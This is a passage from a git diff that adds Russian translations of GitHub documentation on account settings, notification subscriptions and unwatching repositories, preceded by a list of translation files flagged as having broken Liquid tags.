+translations/ru-RU/data/reusables/enterprise-accounts/emu-forks.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-only-emails-within-the-enterprise-can-conflict.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-follow.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-fork.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-gist.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-interact.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-propose.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-repo.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-short-summary.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/enterprise-administrators.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/github-connect-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/messages-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/oidc-gei-warning.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/options-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/people-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/policies-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-policy.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/repositories-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/security-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise/apply-configuration.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise/rate_limit.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise/test-in-staging.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_installation/download-package.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_installation/hotpatching-explanation.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_installation/image-urls-viewable-warning.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_installation/ssh-into-instance.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_site_admin_settings/sign-in.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_site_admin_settings/tls-downtime.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise_user_management/manage-global-webhooks-api.md,broken liquid tags +translations/ru-RU/data/reusables/files/choose-commit-email.md,broken liquid tags +translations/ru-RU/data/reusables/gated-features/codespaces-classroom-articles.md,broken liquid tags +translations/ru-RU/data/reusables/gated-features/dependency-vulnerable-calls.md,broken liquid tags +translations/ru-RU/data/reusables/gated-features/secret-scanning-partner.md,broken liquid tags +translations/ru-RU/data/reusables/gated-features/secret-scanning.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/actions.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/adding-members-to-organizations.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/configuring-security-features.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/creating-organizations.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/enforcing-repo-management-policies.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/enterprise-advanced-security.md,broken liquid tags +translations/ru-RU/data/reusables/getting-started/managing-enterprise-members.md,broken liquid tags +translations/ru-RU/data/reusables/git/git-push.md,broken liquid tags +translations/ru-RU/data/reusables/git/provide-credentials.md,broken liquid tags +translations/ru-RU/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md,broken liquid tags +translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enable.md,broken liquid tags +translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md,broken liquid tags +translations/ru-RU/data/reusables/large_files/storage_assets_location.md,broken liquid tags +translations/ru-RU/data/reusables/large_files/use_lfs_tip.md,broken liquid tags +translations/ru-RU/data/reusables/marketplace/install-buy.md,broken liquid tags +translations/ru-RU/data/reusables/notifications/access_notifications.md,broken liquid tags +translations/ru-RU/data/reusables/notifications/access_watching.md,broken liquid tags +translations/ru-RU/data/reusables/notifications/outbound_email_tip.md,broken liquid tags +translations/ru-RU/data/reusables/notifications/shared_state.md,broken liquid tags +translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-options.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/billing-settings.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/billing_plans.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/block_users.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/continue-verifying-domain.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/github-apps-settings-sidebar.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/member-privileges.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/mixed-roles-warning.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/navigate-to-org.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/new_team.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/oauth_app_access.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/organization-wide-project.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/owners-team.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/people.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/repository-defaults.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/security-and-analysis.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/security.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/teams.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/teams_sidebar.md,broken liquid tags +translations/ru-RU/data/reusables/organizations/verified-domains.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/authenticate-packages.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/authenticate-to-container-registry-steps.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/no-graphql-to-delete-packages.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/package-registry-with-github-tokens.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/packages-billing.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/packages-classic-pat-only.md,broken liquid tags +translations/ru-RU/data/reusables/package_registry/required-scopes.md,broken liquid tags +translations/ru-RU/data/reusables/pages/best-with-supported-themes.md,broken liquid tags +translations/ru-RU/data/reusables/pages/build-failure-email-server.md,broken liquid tags +translations/ru-RU/data/reusables/pages/emu-org-only.md,broken liquid tags +translations/ru-RU/data/reusables/pages/sidebar-pages.md,broken liquid tags +translations/ru-RU/data/reusables/project-management/project-note-more-options.md,broken liquid tags +translations/ru-RU/data/reusables/projects/access-insights.md,broken liquid tags +translations/ru-RU/data/reusables/projects/enable-basic-workflow.md,broken liquid tags +translations/ru-RU/data/reusables/projects/graphql-ghes.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/configure_pull_request_merges_intro.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/default_merge_option.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/pull_request_merges_and_contributions.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/re-request-review.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_summary.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/resolving-conversations.md,broken liquid tags +translations/ru-RU/data/reusables/pull_requests/squash_and_merge_summary.md,broken liquid tags +translations/ru-RU/data/reusables/reminders/days-dropdown.md,broken liquid tags +translations/ru-RU/data/reusables/reminders/scheduled-reminders.md,broken liquid tags +translations/ru-RU/data/reusables/reminders/times-dropdowns.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/changed-files.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/deploy-keys.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/enable-security-alerts.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/navigate-to-code-security-and-analysis.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/navigate-to-commit-page.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/navigate-to-repo.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/repository-branches.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/sidebar-dependabot-alerts.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/sidebar-notifications.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/suggest-changes.md,broken liquid tags +translations/ru-RU/data/reusables/repositories/you-can-fork.md,broken liquid tags +translations/ru-RU/data/reusables/rest-api/dotcom-only-guide-note.md,broken liquid tags +translations/ru-RU/data/reusables/saml/about-authorized-credentials.md,broken liquid tags +translations/ru-RU/data/reusables/saml/about-linked-identities.md,broken liquid tags +translations/ru-RU/data/reusables/saml/about-saml-access-enterprise-account.md,broken liquid tags +translations/ru-RU/data/reusables/saml/authenticate-with-saml-at-least-once.md,broken liquid tags +translations/ru-RU/data/reusables/saml/authorized-creds-info.md,broken liquid tags +translations/ru-RU/data/reusables/saml/create-a-machine-user.md,broken liquid tags +translations/ru-RU/data/reusables/saml/ghes-you-must-configure-saml-sso.md,broken liquid tags +translations/ru-RU/data/reusables/saml/must-authorize-linked-identity.md,broken liquid tags +translations/ru-RU/data/reusables/saml/okta-click-on-the-app.md,broken liquid tags +translations/ru-RU/data/reusables/saml/you-must-periodically-authenticate.md,broken liquid tags +translations/ru-RU/data/reusables/scim/enterprise-account-scim.md,broken liquid tags +translations/ru-RU/data/reusables/scim/ghes-beta-note.md,broken liquid tags +translations/ru-RU/data/reusables/scim/supported-idps.md,broken liquid tags +translations/ru-RU/data/reusables/search/syntax_tips.md,broken liquid tags +translations/ru-RU/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md,broken liquid tags +translations/ru-RU/data/reusables/secret-scanning/partner-program-link.md,broken liquid tags +translations/ru-RU/data/reusables/secret-scanning/secret-list-private-push-protection.md,broken liquid tags +translations/ru-RU/data/reusables/security-overview/beta-org-risk-coverage.md,broken liquid tags +translations/ru-RU/data/reusables/security-overview/permissions.md,broken liquid tags +translations/ru-RU/data/reusables/shortdesc/rate_limits_github_apps.md,broken liquid tags +translations/ru-RU/data/reusables/sponsors/select-sponsorship-billing.md,broken liquid tags +translations/ru-RU/data/reusables/ssh/about-ssh.md,broken liquid tags +translations/ru-RU/data/reusables/ssh/key-type-support.md,broken liquid tags +translations/ru-RU/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md,broken liquid tags +translations/ru-RU/data/reusables/support/help_resources.md,broken liquid tags +translations/ru-RU/data/reusables/support/submit-a-ticket.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/C.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/Cpp.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/Cs.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/go.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/php.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/python.md,broken liquid tags +translations/ru-RU/data/reusables/supported-languages/scala.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/access_applications.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/account_settings.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/appearance-settings.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/classic-projects-api-classic-pat-only.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/developer_settings.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/emails.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/graphql-classic-pat-only.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/imports-api-classic-pat-only.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/notifications-api-classic-pat-only.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/organizations.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/personal_access_tokens.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/removes-personal-access-tokens.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/repo-tab.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/saved_replies.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/security-analysis.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/security.md,broken liquid tags +translations/ru-RU/data/reusables/user-settings/ssh.md,broken liquid tags +translations/ru-RU/data/reusables/vs-code/open-command-palette.md,broken liquid tags +translations/ru-RU/data/reusables/webhooks/dependabot_alert_availability.md,broken liquid tags +translations/ru-RU/data/reusables/webhooks/dependabot_alert_description.md,broken liquid tags +translations/ru-RU/data/reusables/webhooks/dependabot_alert_payload.md,broken liquid tags +translations/ru-RU/data/reusables/webhooks/pull_request_properties.md,broken liquid tags +translations/ru-RU/data/variables/product.yml,broken liquid tags +translations/ru-RU/data/variables/projects.yml,broken liquid tags diff --git a/translations/ru-RU/Placeholder.txt b/translations/ru-RU/Placeholder.txt new file mode 100644 index 000000000000..3b94f915737a --- /dev/null +++ b/translations/ru-RU/Placeholder.txt @@ -0,0 +1 @@ +Placeholder diff --git a/translations/ru-RU/content/account-and-profile/index.md b/translations/ru-RU/content/account-and-profile/index.md new file mode 100644 index 000000000000..1f5d1db0c17d --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/index.md @@ -0,0 +1,50 @@ +--- +title: Учетная запись и профиль на GitHub +shortTitle: Account and profile +intro: 'Обеспечьте для себя максимальное удобство использования {% data variables.product.product_name %}, изменив параметры личной учетной записи, персонализировав страницу профиля и настроив уведомления о действиях на {% data variables.product.prodname_dotcom %}.' +introLinks: + quickstart: /get-started/onboarding/getting-started-with-your-github-account +featuredLinks: + guides: + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username + - '{% ifversion ghae %}/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard{% endif %}' + - /account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme + - '{% ifversion ghae %}/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile{% endif %}' + - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications + popular: + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository + - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications + guideCards: + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile + - /account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address + - '{% ifversion ghes or ghae %}/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories{% endif %}' +changelog: + label: 'profiles, github-themes, notifications' + versions: + fpt: '*' + ghec: '*' +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Profiles + - Notifications +children: + - /setting-up-and-managing-your-personal-account-on-github + - /setting-up-and-managing-your-github-profile + - /managing-subscriptions-and-notifications-on-github +ms.openlocfilehash: 922990e3a89a53f625e739650c3c3b329f1f497d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146200197' +--- + diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md new file mode 100644 index 000000000000..7495d51502fb --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md @@ -0,0 +1,28 @@ +--- +title: Управление подписками и уведомлениями на GitHub +intro: 'Вы можете указать, как получать уведомления, репозитории, которые вас интересуют, и типы действий, о которых вы хотите узнать.' +redirect_from: + - /categories/76/articles + - /categories/notifications + - /categories/receiving-notifications-about-activity-on-github + - /github/managing-subscriptions-and-notifications-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +children: + - /setting-up-notifications + - /viewing-and-triaging-notifications + - /managing-subscriptions-for-activity-on-github +shortTitle: Subscriptions & notifications +ms.openlocfilehash: 33c5c21db5feb48ca234e2ba45173f480fb53f8f +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145113035' +--- + diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md new file mode 100644 index 000000000000..3494fa00c812 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md @@ -0,0 +1,24 @@ +--- +title: Управление подписками для действий в GitHub +intro: 'Чтобы обеспечить стабильность рабочих процессов уведомлений, изучите и регулярно просматривайте подписки.' +redirect_from: + - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +children: + - /viewing-your-subscriptions + - /managing-your-subscriptions +shortTitle: Manage subscriptions +ms.openlocfilehash: e1457283f0027dd2b668d6096e2f04273e920a71 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088484' +--- + diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md new file mode 100644 index 000000000000..3b470c37a4ab --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md @@ -0,0 +1,84 @@ +--- +title: Managing your subscriptions +intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +redirect_from: + - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions + - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions +shortTitle: Manage your subscriptions +--- +To help you understand your subscriptions and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)." + +{% note %} + +**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %} + +{% endnote %} + +## Choosing how to unsubscribe + +To unwatch (or unsubscribe from) repositories quickly, navigate to [github.com/watching](https://github.com/watching) to see all the repositories you're following. For more information, see "[Unwatching repositories](#unwatching-repositories)." + +To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page. + +### Benefits of unsubscribing from your inbox + +When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." + +### Benefits of unsubscribing from the subscriptions page + +When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed". + +The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox. + +You can only filter your subscriptions by repository and the reason you're receiving the notification. + +## Unsubscribing from notifications in your inbox + +When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox. + +{% data reusables.notifications.access_notifications %} +1. From the notifications inbox, select the notifications you want to unsubscribe to. +2. Click **Unsubscribe.** + ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png) + +## Unsubscribing from notifications on the subscriptions page + +{% data reusables.notifications.access_notifications %} +1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**. + ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) + +2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.** + ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png) + +## Unwatching repositories + +When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned. + +{% data reusables.notifications.access_notifications %} +1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**. + + ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) + +2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to: + + - Unwatch a repository + - Ignore all notifications for a repository + - If enabled, customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}) + +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +1. Optionally, to unsubscribe from all repositories owned by a given user or organization, select the **Unwatch all** dropdown and click the organization whose repositories you'd like to unsubscribe from. The button to unwatch all repositories is only available if you are watching all activity or custom notifications on over 10 repositories. + + ![Screenshot of the Unwatch All button.](/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png) + + - Click **Unwatch** to confirm that you want to unwatch the repositories owned by the selected user or organization, or click **Cancel** to cancel. + + ![Screenshot of the unwatch all confirmation dialogue.](/assets/images/help/notifications-v2/unwatch-repo-dialog.png) + +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md new file mode 100644 index 000000000000..abff2110756e --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md @@ -0,0 +1,86 @@ +--- +title: Просмотр подписок +intro: 'Чтобы понять, откуда поступают ваши уведомления и проанализировать объем уведомлений, рекомендуется регулярно просматривать подписки и наблюдаемые репозитории.' +redirect_from: + - /articles/subscribing-to-conversations + - /articles/unsubscribing-from-conversations + - /articles/subscribing-to-and-unsubscribing-from-notifications + - /articles/listing-the-issues-and-pull-requests-youre-subscribed-to + - /articles/watching-repositories + - /articles/unwatching-repositories + - /articles/watching-and-unwatching-repositories + - /articles/watching-and-unwatching-releases-for-a-repository + - /articles/watching-and-unwatching-team-discussions + - /articles/listing-watched-repositories + - /articles/listing-the-repositories-you-re-watching + - /articles/listing-the-repositories-youre-watching + - /github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions + - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +shortTitle: View subscriptions +ms.openlocfilehash: 2e3fca1f56e26e9f17a56911b93480a538c715ec +ms.sourcegitcommit: 37e362868bd023d87b257fb2436ae76a81dc8f8b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008775' +--- +Вы получаете уведомления о своих подписках о текущей активности в {% data variables.product.product_name %}. Есть много причин подписки на беседу. Дополнительные сведения см. в разделе [Сведения об уведомлениях](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions). + +Мы рекомендуем выполнить аудит и отменить подписку в рамках работоспособного рабочего процесса уведомлений. Дополнительные сведения о вариантах отмены подписки см. в разделе [Управление подписками](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions). + +## Определение причин для получения слишком большого числа уведомлений + +Если в папке «Входящие» слишком много уведомлений, которыми требуется управлять, возможно, вы оформили слишком много подписок. Также можно попробовать изменить параметры уведомлений, чтобы уменьшить количество подписок и типов уведомлений, которые вы получаете. Например, вы можете отключить параметры для автоматического отслеживания всех репозиториев и всех обсуждений команды при каждом присоединении к команде или репозиторию. + +{% ifversion update-notification-settings-22 %} ![ Снимок экрана: параметры автоматического просмотра для команд и репозиториев](/assets/images/automatically-watch-repos-and-teams.png) {% else %} ![Снимок экрана: параметры автоматического просмотра для команд и репозиториев](/assets/images/help/notifications-v2/automatic-watching-example.png){% endif %} + +Дополнительные сведения см. в разделе [Настройка уведомлений](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching). + +Общие сведения о подписках репозитория см. в разделе [Просмотр репозиториев, которые вы отслеживаете](#reviewing-repositories-that-youre-watching). {% tip %} + +**Совет.** Вы можете выбрать типы событий, о которых вы хотите получать уведомления, с помощью параметра **Настраиваемые** в раскрывающемся списке **Отслеживать/отменить отслеживание** на [странице отслеживания](https://github.com/watching) или на любой странице репозитория в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Настройка уведомлений](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository). + +{% endtip %} + +Многие люди забывают о репозиториях, которые они когда-то решили отслеживать. На странице «Отслеживаемые репозитории» можно быстро отменить отслеживание репозиториев. Дополнительные сведения о способах отмены подписки см. в разделе [Рекомендации по отмене отслеживания](https://github.blog/changelog/2020-11-10-unwatch-recommendations/) в {% data variables.product.prodname_blog %} и разделе [Управление подписками](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions). Вы также можете создать рабочий процесс рассмотрения, чтобы помочь в управлении уведомлениями. Рекомендации по работе с рабочими процессами см. в разделе [Настройка рабочего процесса для рассмотрения уведомлений](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications). + +## Просмотр всех подписок + +{% data reusables.notifications.access_notifications %} +1. На левой боковой панели в списке репозиториев, от которых вы получаете уведомления, используйте раскрывающийся список «Управление уведомлениями», чтобы щелкнуть **Параметры уведомлений**. + ![Параметры раскрывающегося меню «Управление уведомлениями»](/assets/images/help/notifications-v2/manage-notifications-options.png) + +2. Используйте фильтры и сортировку, чтобы сузить список подписок и начать отмену подписок на беседы, для которых больше не требуется получать уведомления. + + ![Страница «Подписки»](/assets/images/help/notifications-v2/all-subscriptions.png) + +{% tip %} + +**Советы** +- Чтобы просмотреть подписки, о которых вы, возможно, забыли, выполните сортировку по критерию «последние оформленные подписки». + +- Чтобы просмотреть список репозиториев, для которых вы по-прежнему можете получать уведомления, см. список репозиториев в раскрывающемся меню «Фильтр по репозиторию». + +{% endtip %} + +## Просмотр репозиториев, которые вы отслеживаете + +1. На левой боковой панели в списке репозиториев используйте раскрывающийся список «Управление уведомлениями» и щелкните **Отслеживаемые репозитории**. + ![Параметры раскрывающегося меню «Управление уведомлениями»](/assets/images/help/notifications-v2/manage-notifications-options.png) +2. Оцените репозитории, которые вы отслеживаете, и решите, являются ли их обновления по-прежнему актуальными и полезными. При отслеживании репозитория вы будете получать уведомления обо всех беседах для этого репозитория. +![Страница «Отслеживаемые уведомления»](/assets/images/help/notifications-v2/watched-notifications-custom.png) + + {% tip %} + + **Совет.** Вместо отслеживания репозитория рекомендуется получать уведомления только при наличии обновлений для {% data reusables.notifications-v2.custom-notification-types %} (если он включен для репозитория) или любого сочетания этих параметров. Можно также полностью отменить отслеживание репозитория. + + При отмене отслеживания репозитория вы по-прежнему будете получать уведомления, когда вы @mentioned или участвуете в потоке. При настройке получения уведомлений для определенных типов событий вы будете получать уведомления только при наличии обновлений для этих типов событий в репозитории, если вы участвуете в потоке либо если вы или команда, где вы участвуете, является @mentioned. + + {% endtip %} diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md new file mode 100644 index 000000000000..18798d0d6f30 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md @@ -0,0 +1,99 @@ +--- +title: About notifications +intro: 'Notifications provide updates about the activity on {% data 